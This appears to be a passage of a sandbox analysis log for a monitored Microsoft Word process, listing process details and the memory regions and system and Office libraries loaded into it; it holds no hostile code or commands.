# Flog Txt Version 1 # Analyzer Version: 2.2.0 # Analyzer Build Date: Aug 21 2017 12:23:07 # Log Creation Date: 21.08.2017 21:03:46.829 Process: id = "1" image_name = "winword.exe" filename = "c:\\program files\\microsoft office\\office15\\winword.exe" page_root = "0x6ee73000" os_pid = "0x934" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Program Files\\Microsoft Office\\Office15\\WINWORD.EXE\"" cur_dir = "C:\\Users\\aDU0VK IWA5kLS\\Desktop\\" os_username = "AUFDDCNTXWT\\aDU0VK IWA5kLS" os_groups = "AUFDDCNTXWT\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103d4" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 133 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 134 start_va = 0x20000 end_va = 0x20fff entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 135 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 136 start_va = 0x40000 end_va = 0x43fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 137 start_va = 0x50000 end_va = 0xb6fff entry_point = 0x50000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 138 start_va = 0xc0000 end_va = 0xc0fff entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 139 start_va = 0xd0000 end_va = 0xd1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 140 start_va = 0xe0000 end_va = 0xe1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 141 start_va = 0xf0000 end_va = 0xf0fff entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 142 start_va = 0x100000 end_va = 0x100fff entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 143 start_va = 0x110000 end_va = 0x11ffff entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 144 start_va = 0x120000 end_va = 0x150fff entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 145 start_va = 0x160000 end_va = 0x16ffff entry_point = 0x0 region_type = private name = "private_0x0000000000160000" filename = "" Region: id = 146 start_va = 0x170000 end_va = 0x26ffff entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 147 start_va = 0x270000 end_va = 0x36ffff entry_point = 0x0 region_type = private name = "private_0x0000000000270000" filename = "" Region: id = 148 start_va = 0x370000 end_va = 0x371fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000370000" filename = "" Region: id = 149 start_va = 0x380000 end_va = 0x38ffff entry_point = 0x0 region_type = private name = "private_0x0000000000380000" filename = "" Region: id = 150 start_va = 0x390000 end_va = 0x396fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000390000" filename = "" Region: id = 151 start_va = 0x3a0000 end_va = 0x3a1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003a0000" filename = "" Region: id = 152 start_va = 0x3c0000 end_va = 0x3c1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003c0000" filename = "" Region: id = 153 start_va = 0x400000 end_va = 0x4fffff entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 154 start_va = 0x500000 end_va = 0x687fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000500000" filename = "" Region: id = 155 start_va = 0x6a0000 end_va = 0x6affff entry_point = 0x0 region_type = private name = "private_0x00000000006a0000" filename = "" Region: id = 156 start_va = 0x6b0000 end_va = 0x830fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 157 start_va = 0x840000 end_va = 0x1c3ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000840000" filename = "" Region: id = 158 start_va = 0x1c40000 end_va = 0x1d3ffff entry_point = 0x0 region_type = private name = "private_0x0000000001c40000" filename = "" Region: id = 159 start_va = 0x1d70000 end_va = 0x1daffff entry_point = 0x0 region_type = private name = "private_0x0000000001d70000" filename = "" Region: id = 160 start_va = 0x1db0000 end_va = 0x1e2ffff entry_point = 0x0 region_type = private name = "private_0x0000000001db0000" filename = "" Region: id = 161 start_va = 0x1e30000 end_va = 0x1e30fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e30000" filename = "" Region: id = 162 start_va = 0x1e40000 end_va = 0x1e40fff entry_point = 0x0 region_type = private name = "private_0x0000000001e40000" filename = "" Region: id = 163 start_va = 0x1e50000 end_va = 0x1e50fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 164 start_va = 0x1e60000 end_va = 0x1e6ffff entry_point = 0x0 region_type = private name = "private_0x0000000001e60000" filename = "" Region: id = 165 start_va = 0x1e70000 end_va = 0x1f4efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e70000" filename = "" Region: id = 166 start_va = 0x1fc0000 end_va = 0x1fc4fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001fc0000" filename = "" Region: id = 167 start_va = 0x1fd0000 end_va = 0x1fd0fff entry_point = 0x0 region_type = private name = "private_0x0000000001fd0000" filename = "" Region: id = 168 start_va = 0x1fe0000 end_va = 0x1fe1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001fe0000" filename = "" Region: id = 169 start_va = 0x1ff0000 end_va = 0x1ff0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ff0000" filename = "" Region: id = 170 start_va = 0x2000000 end_va = 0x2000fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002000000" filename = "" Region: id = 171 start_va = 0x2010000 end_va = 0x2010fff entry_point = 0x2010000 region_type = mapped_file name = "msxml6r.dll" filename = "\\Windows\\System32\\msxml6r.dll" (normalized: "c:\\windows\\system32\\msxml6r.dll") Region: id = 172 start_va = 0x2020000 end_va = 0x2020fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002020000" filename = "" Region: id = 173 start_va = 0x2030000 end_va = 0x212ffff entry_point = 0x0 region_type = private name = "private_0x0000000002030000" filename = "" Region: id = 174 start_va = 0x2130000 end_va = 0x222ffff entry_point = 0x0 region_type = private name = "private_0x0000000002130000" filename = "" Region: id = 175 start_va = 0x2230000 end_va = 0x2622fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002230000" filename = "" Region: id = 176 start_va = 0x2630000 end_va = 0x28fefff entry_point = 0x2630000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 177 start_va = 0x2900000 end_va = 0x2926fff entry_point = 0x2900000 region_type = mapped_file name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000008.db" filename = "\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000008.db" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000008.db") Region: id = 178 start_va = 0x2930000 end_va = 0x2930fff entry_point = 0x0 region_type = private name = "private_0x0000000002930000" filename = "" Region: id = 179 start_va = 0x2940000 end_va = 0x2950fff entry_point = 0x2940000 region_type = mapped_file name = "c_1255.nls" filename = "\\Windows\\System32\\C_1255.NLS" (normalized: "c:\\windows\\system32\\c_1255.nls") Region: id = 180 start_va = 0x2a80000 end_va = 0x2b7ffff entry_point = 0x0 region_type = private name = "private_0x0000000002a80000" filename = "" Region: id = 181 start_va = 0x2ba0000 end_va = 0x2c9ffff entry_point = 0x0 region_type = private name = "private_0x0000000002ba0000" filename = "" Region: id = 182 start_va = 0x2ca0000 end_va = 0x2cbefff entry_point = 0x0 region_type = private name = "private_0x0000000002ca0000" filename = "" Region: id = 183 start_va = 0x2cf0000 end_va = 0x2d6ffff entry_point = 0x0 region_type = private name = "private_0x0000000002cf0000" filename = "" Region: id = 184 start_va = 0x2dc0000 end_va = 0x2ebffff entry_point = 0x0 region_type = private name = "private_0x0000000002dc0000" filename = "" Region: id = 185 start_va = 0x2ec0000 end_va = 0x2f3efff entry_point = 0x2ec0000 region_type = mapped_file name = "segoeui.ttf" filename = "\\Windows\\Fonts\\segoeui.ttf" (normalized: "c:\\windows\\fonts\\segoeui.ttf") Region: id = 186 start_va = 0x2f60000 end_va = 0x305ffff entry_point = 0x0 region_type = private name = "private_0x0000000002f60000" filename = "" Region: id = 187 start_va = 0x3060000 end_va = 0x345ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003060000" filename = "" Region: id = 188 start_va = 0x3460000 end_va = 0x3d8ffff entry_point = 0x3460000 region_type = mapped_file name = "staticcache.dat" filename = "\\Windows\\Fonts\\StaticCache.dat" (normalized: "c:\\windows\\fonts\\staticcache.dat") Region: id = 189 start_va = 0x3d90000 end_va = 0x3e8ffff entry_point = 0x0 region_type = private name = "private_0x0000000003d90000" filename = "" Region: id = 190 start_va = 0x3ec0000 end_va = 0x3f3ffff entry_point = 0x0 region_type = private name = "private_0x0000000003ec0000" filename = "" Region: id = 191 start_va = 0x3f70000 end_va = 0x3f7ffff entry_point = 0x0 region_type = private name = "private_0x0000000003f70000" filename = "" Region: id = 192 start_va = 0x3f80000 end_va = 0x407ffff entry_point = 0x0 region_type = private name = "private_0x0000000003f80000" filename = "" Region: id = 193 start_va = 0x40c0000 end_va = 0x40cffff entry_point = 0x0 region_type = private name = "private_0x00000000040c0000" filename = "" Region: id = 194 start_va = 0x4130000 end_va = 0x422ffff entry_point = 0x0 region_type = private name = "private_0x0000000004130000" filename = "" Region: id = 195 start_va = 0x4230000 end_va = 0x4293fff entry_point = 0x4230000 region_type = mapped_file name = "seguisb.ttf" filename = "\\Windows\\Fonts\\seguisb.ttf" (normalized: "c:\\windows\\fonts\\seguisb.ttf") Region: id = 196 start_va = 0x42b0000 end_va = 0x42bffff entry_point = 0x0 region_type = private name = "private_0x00000000042b0000" filename = "" Region: id = 197 start_va = 0x42c0000 end_va = 0x4abffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000042c0000" filename = "" Region: id = 198 start_va = 0x4b30000 end_va = 0x4baffff entry_point = 0x0 region_type = private name = "private_0x0000000004b30000" filename = "" Region: id = 199 start_va = 0x4bb0000 end_va = 0x4bbffff entry_point = 0x0 region_type = private name = "private_0x0000000004bb0000" filename = "" Region: id = 200 start_va = 0x4c00000 end_va = 0x4cfffff entry_point = 0x0 region_type = private name = "private_0x0000000004c00000" filename = "" Region: id = 201 start_va = 0x4d80000 end_va = 0x4e7ffff entry_point = 0x0 region_type = private name = "private_0x0000000004d80000" filename = "" Region: id = 202 start_va = 0x4e80000 end_va = 0x507ffff entry_point = 0x0 region_type = private name = "private_0x0000000004e80000" filename = "" Region: id = 203 start_va = 0x5080000 end_va = 0x517ffff entry_point = 0x0 region_type = private name = "private_0x0000000005080000" filename = "" Region: id = 204 start_va = 0x5200000 end_va = 0x527ffff entry_point = 0x0 region_type = private name = "private_0x0000000005200000" filename = "" Region: id = 205 start_va = 0x52c0000 end_va = 0x53bffff entry_point = 0x0 region_type = private name = "private_0x00000000052c0000" filename = "" Region: id = 206 start_va = 0x53d0000 end_va = 0x54cffff entry_point = 0x0 region_type = private name = "private_0x00000000053d0000" filename = "" Region: id = 207 start_va = 0x54d0000 end_va = 0x64cffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000054d0000" filename = "" Region: id = 208 start_va = 0x64d0000 end_va = 0x658ffff entry_point = 0x64d0000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 209 start_va = 0x6680000 end_va = 0x66fffff entry_point = 0x0 region_type = private name = "private_0x0000000006680000" filename = "" Region: id = 210 start_va = 0x6700000 end_va = 0x6afffff entry_point = 0x0 region_type = private name = "private_0x0000000006700000" filename = "" Region: id = 211 start_va = 0x6b00000 end_va = 0x6efffff entry_point = 0x0 region_type = private name = "private_0x0000000006b00000" filename = "" Region: id = 212 start_va = 0x6f00000 end_va = 0x76fffff entry_point = 0x0 region_type = private name = "private_0x0000000006f00000" filename = "" Region: id = 213 start_va = 0x7700000 end_va = 0x7b00fff entry_point = 0x0 region_type = private name = "private_0x0000000007700000" filename = "" Region: id = 214 start_va = 0x7b10000 end_va = 0x7f10fff entry_point = 0x0 region_type = private name = "private_0x0000000007b10000" filename = "" Region: id = 215 start_va = 0x7f20000 end_va = 0x8320fff entry_point = 0x0 region_type = private name = "private_0x0000000007f20000" filename = "" Region: id = 216 start_va = 0x8330000 end_va = 0x852ffff entry_point = 0x0 region_type = private name = "private_0x0000000008330000" filename = "" Region: id = 217 start_va = 0x8530000 end_va = 0x89effff entry_point = 0x0 region_type = private name = "private_0x0000000008530000" filename = "" Region: id = 218 start_va = 0x89f0000 end_va = 0x8deffff entry_point = 0x0 region_type = private name = "private_0x00000000089f0000" filename = "" Region: id = 219 start_va = 0x37440000 end_va = 0x3744ffff entry_point = 0x0 region_type = private name = "private_0x0000000037440000" filename = "" Region: id = 220 start_va = 0x73d80000 end_va = 0x73e17fff entry_point = 0x73d80000 region_type = mapped_file name = "msvcp100.dll" filename = "\\Windows\\System32\\msvcp100.dll" (normalized: "c:\\windows\\system32\\msvcp100.dll") Region: id = 221 start_va = 0x73e20000 end_va = 0x73ef1fff entry_point = 0x73e20000 region_type = mapped_file name = "msvcr100.dll" filename = "\\Windows\\System32\\msvcr100.dll" (normalized: "c:\\windows\\system32\\msvcr100.dll") Region: id = 222 start_va = 0x74830000 end_va = 0x74862fff entry_point = 0x74830000 region_type = mapped_file name = "osppc.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppc.dll") Region: id = 223 start_va = 0x77320000 end_va = 0x7743efff entry_point = 0x77320000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 224 start_va = 0x77440000 end_va = 0x77539fff entry_point = 0x77440000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 225 start_va = 0x77540000 end_va = 0x776e8fff entry_point = 0x77540000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 226 start_va = 0x77710000 end_va = 0x77716fff entry_point = 0x77710000 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll") Region: id = 227 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 228 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 229 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 230 start_va = 0x13fd90000 end_va = 0x13ff67fff entry_point = 0x13fd90000 region_type = mapped_file name = "winword.exe" filename = "\\Program Files\\Microsoft Office\\Office15\\WINWORD.EXE" (normalized: "c:\\program files\\microsoft office\\office15\\winword.exe") Region: id = 231 start_va = 0x7feb3df0000 end_va = 0x7feb3df9fff entry_point = 0x0 region_type = private name = "private_0x000007feb3df0000" filename = "" Region: id = 232 start_va = 0x7febef30000 end_va = 0x7febef3ffff entry_point = 0x0 region_type = private name = "private_0x000007febef30000" filename = "" Region: id = 233 start_va = 0x7fee8d70000 end_va = 0x7fee8f92fff entry_point = 0x7fee8d70000 region_type = mapped_file name = "riched20.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\OFFICE15\\RICHED20.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office15\\riched20.dll") Region: id = 234 start_va = 0x7fee8fa0000 end_va = 0x7fee9078fff entry_point = 0x7fee8fa0000 region_type = mapped_file name = "adal.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\OFFICE15\\ADAL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office15\\adal.dll") Region: id = 235 start_va = 0x7fee91b0000 end_va = 0x7fee9248fff entry_point = 0x7fee91b0000 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 236 start_va = 0x7fee9250000 end_va = 0x7fee92befff entry_point = 0x7fee9250000 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 237 start_va = 0x7fee92c0000 end_va = 0x7fee943dfff entry_point = 0x7fee92c0000 region_type = mapped_file name = "dwrite.dll" filename = "\\Windows\\System32\\DWrite.dll" (normalized: "c:\\windows\\system32\\dwrite.dll") Region: id = 238 start_va = 0x7fee9440000 end_va = 0x7fee960ffff entry_point = 0x7fee9440000 region_type = mapped_file name = "d3d10warp.dll" filename = "\\Windows\\System32\\d3d10warp.dll" (normalized: "c:\\windows\\system32\\d3d10warp.dll") Region: id = 239 start_va = 0x7fee9610000 end_va = 0x7fee9785fff entry_point = 0x7fee9610000 region_type = mapped_file name = "msptls.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\OFFICE15\\MSPTLS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office15\\msptls.dll") Region: id = 240 start_va = 0x7fee9790000 end_va = 0x7feee47afff entry_point = 0x7fee9790000 region_type = mapped_file name = "msores.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\OFFICE15\\MSORES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office15\\msores.dll") Region: id = 241 start_va = 0x7feee480000 end_va = 0x7fef0730fff entry_point = 0x7feee480000 region_type = mapped_file name = "mso.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\OFFICE15\\MSO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office15\\mso.dll") Region: id = 242 start_va = 0x7fef0740000 end_va = 0x7fef21befff entry_point = 0x7fef0740000 region_type = mapped_file name = "wwlib.dll" filename = "\\Program Files\\Microsoft Office\\Office15\\WWLIB.DLL" (normalized: "c:\\program files\\microsoft office\\office15\\wwlib.dll") Region: id = 243 start_va = 0x7fef2200000 end_va = 0x7fef22c5fff entry_point = 0x7fef2200000 region_type = mapped_file name = "d3d11.dll" filename = "\\Windows\\System32\\d3d11.dll" (normalized: "c:\\windows\\system32\\d3d11.dll") Region: id = 244 start_va = 0x7fef22d0000 end_va = 0x7fef2646fff entry_point = 0x7fef22d0000 region_type = mapped_file name = "msointl.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\OFFICE15\\1033\\MSOINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office15\\1033\\msointl.dll") Region: id = 245 start_va = 0x7fef2650000 end_va = 0x7fef2723fff entry_point = 0x7fef2650000 region_type = mapped_file name = "wwintl.dll" filename = "\\Program Files\\Microsoft Office\\Office15\\1033\\WWINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office15\\1033\\wwintl.dll") Region: id = 246 start_va = 0x7fef2730000 end_va = 0x7fef2811fff entry_point = 0x7fef2730000 region_type = mapped_file name = "d2d1.dll" filename = "\\Windows\\System32\\d2d1.dll" (normalized: "c:\\windows\\system32\\d2d1.dll") Region: id = 247 start_va = 0x7fef2820000 end_va = 0x7fef3c33fff entry_point = 0x7fef2820000 region_type = mapped_file name = "oart.dll" filename = "\\Program Files\\Microsoft Office\\Office15\\OART.DLL" (normalized: "c:\\program files\\microsoft office\\office15\\oart.dll") Region: id = 248 start_va = 0x7fef47d0000 end_va = 0x7fef47d6fff entry_point = 0x7fef47d0000 region_type = mapped_file name = "msimg32.dll" filename = "\\Windows\\System32\\msimg32.dll" (normalized: "c:\\windows\\system32\\msimg32.dll") Region: id = 249 start_va = 0x7fef79d0000 end_va = 0x7fef7bc1fff entry_point = 0x7fef79d0000 region_type = mapped_file name = "msxml6.dll" filename = "\\Windows\\System32\\msxml6.dll" (normalized: "c:\\windows\\system32\\msxml6.dll") Region: id = 250 start_va = 0x7fef7c60000 end_va = 0x7fef7cd0fff entry_point = 0x7fef7c60000 region_type = mapped_file name = "winspool.drv" filename = "\\Windows\\System32\\winspool.drv" (normalized: "c:\\windows\\system32\\winspool.drv") Region: id = 251 start_va = 0x7fef94a0000 end_va = 0x7fef999ffff entry_point = 0x7fef94a0000 region_type = mapped_file name = "office.odf" filename = "\\Program Files\\Common Files\\Microsoft Shared\\OFFICE15\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\common files\\microsoft shared\\office15\\cultures\\office.odf") Region: id = 252 start_va = 0x7fef99a0000 end_va = 0x7fef9cb5fff entry_point = 0x7fef99a0000 region_type = mapped_file name = "msi.dll" filename = "\\Windows\\System32\\msi.dll" (normalized: "c:\\windows\\system32\\msi.dll") Region: id = 253 start_va = 0x7fefa130000 end_va = 0x7fefa1d6fff entry_point = 0x7fefa130000 region_type = mapped_file name = "dxgi.dll" filename = "\\Windows\\System32\\dxgi.dll" (normalized: "c:\\windows\\system32\\dxgi.dll") Region: id = 254 start_va = 0x7fefa1e0000 end_va = 0x7fefa234fff entry_point = 0x7fefa1e0000 region_type = mapped_file name = "d3d10_1core.dll" filename = "\\Windows\\System32\\d3d10_1core.dll" (normalized: "c:\\windows\\system32\\d3d10_1core.dll") Region: id = 255 start_va = 0x7fefa240000 end_va = 0x7fefa273fff entry_point = 0x7fefa240000 region_type = mapped_file name = "d3d10_1.dll" filename = "\\Windows\\System32\\d3d10_1.dll" (normalized: "c:\\windows\\system32\\d3d10_1.dll") Region: id = 256 start_va = 0x7fefa500000 end_va = 0x7fefa563fff entry_point = 0x7fefa500000 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll") Region: id = 257 start_va = 0x7fefa570000 end_va = 0x7fefa5e0fff entry_point = 0x7fefa570000 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 258 start_va = 0x7fefad90000 end_va = 0x7fefaeb9fff entry_point = 0x7fefad90000 region_type = mapped_file name = "windowscodecs.dll" filename = "\\Windows\\System32\\WindowsCodecs.dll" (normalized: "c:\\windows\\system32\\windowscodecs.dll") Region: id = 259 start_va = 0x7fefaec0000 end_va = 0x7fefaed7fff entry_point = 0x7fefaec0000 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 260 start_va = 0x7fefb080000 end_va = 0x7fefb294fff entry_point = 0x7fefb080000 region_type = mapped_file name = "gdiplus.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_2b24536c71ed437a\\GdiPlus.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_2b24536c71ed437a\\gdiplus.dll") Region: id = 261 start_va = 0x7fefb2a0000 end_va = 0x7fefb2f5fff entry_point = 0x7fefb2a0000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 262 start_va = 0x7fefb950000 end_va = 0x7fefb960fff entry_point = 0x7fefb950000 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 263 start_va = 0x7fefbde0000 end_va = 0x7fefbe0cfff entry_point = 0x7fefbde0000 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 264 start_va = 0x7fefbe40000 end_va = 0x7fefbf6bfff entry_point = 0x7fefbe40000 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 265 start_va = 0x7fefbfc0000 end_va = 0x7fefc1b3fff entry_point = 0x7fefbfc0000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll") Region: id = 266 start_va = 0x7fefc650000 end_va = 0x7fefc65bfff entry_point = 0x7fefc650000 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 267 start_va = 0x7fefca60000 end_va = 0x7fefcaa6fff entry_point = 0x7fefca60000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 268 start_va = 0x7fefceb0000 end_va = 0x7fefcec6fff entry_point = 0x7fefceb0000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 269 start_va = 0x7fefd320000 end_va = 0x7fefd32afff entry_point = 0x7fefd320000 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 270 start_va = 0x7fefd350000 end_va = 0x7fefd374fff entry_point = 0x7fefd350000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 271 start_va = 0x7fefd380000 end_va = 0x7fefd38efff entry_point = 0x7fefd380000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 272 start_va = 0x7fefd430000 end_va = 0x7fefd46cfff entry_point = 0x7fefd430000 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 273 start_va = 0x7fefd470000 end_va = 0x7fefd483fff entry_point = 0x7fefd470000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 274 start_va = 0x7fefd490000 end_va = 0x7fefd49efff entry_point = 0x7fefd490000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 275 start_va = 0x7fefd530000 end_va = 0x7fefd53efff entry_point = 0x7fefd530000 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 276 start_va = 0x7fefd5e0000 end_va = 0x7fefd619fff entry_point = 0x7fefd5e0000 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 277 start_va = 0x7fefd620000 end_va = 0x7fefd655fff entry_point = 0x7fefd620000 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 278 start_va = 0x7fefd660000 end_va = 0x7fefd679fff entry_point = 0x7fefd660000 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 279 start_va = 0x7fefd680000 end_va = 0x7fefd6eafff entry_point = 0x7fefd680000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 280 start_va = 0x7fefd6f0000 end_va = 0x7fefd856fff entry_point = 0x7fefd6f0000 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 281 start_va = 0x7fefd860000 end_va = 0x7fefd98cfff entry_point = 0x7fefd860000 region_type = mapped_file name = "rpcrt4.dll" filename = 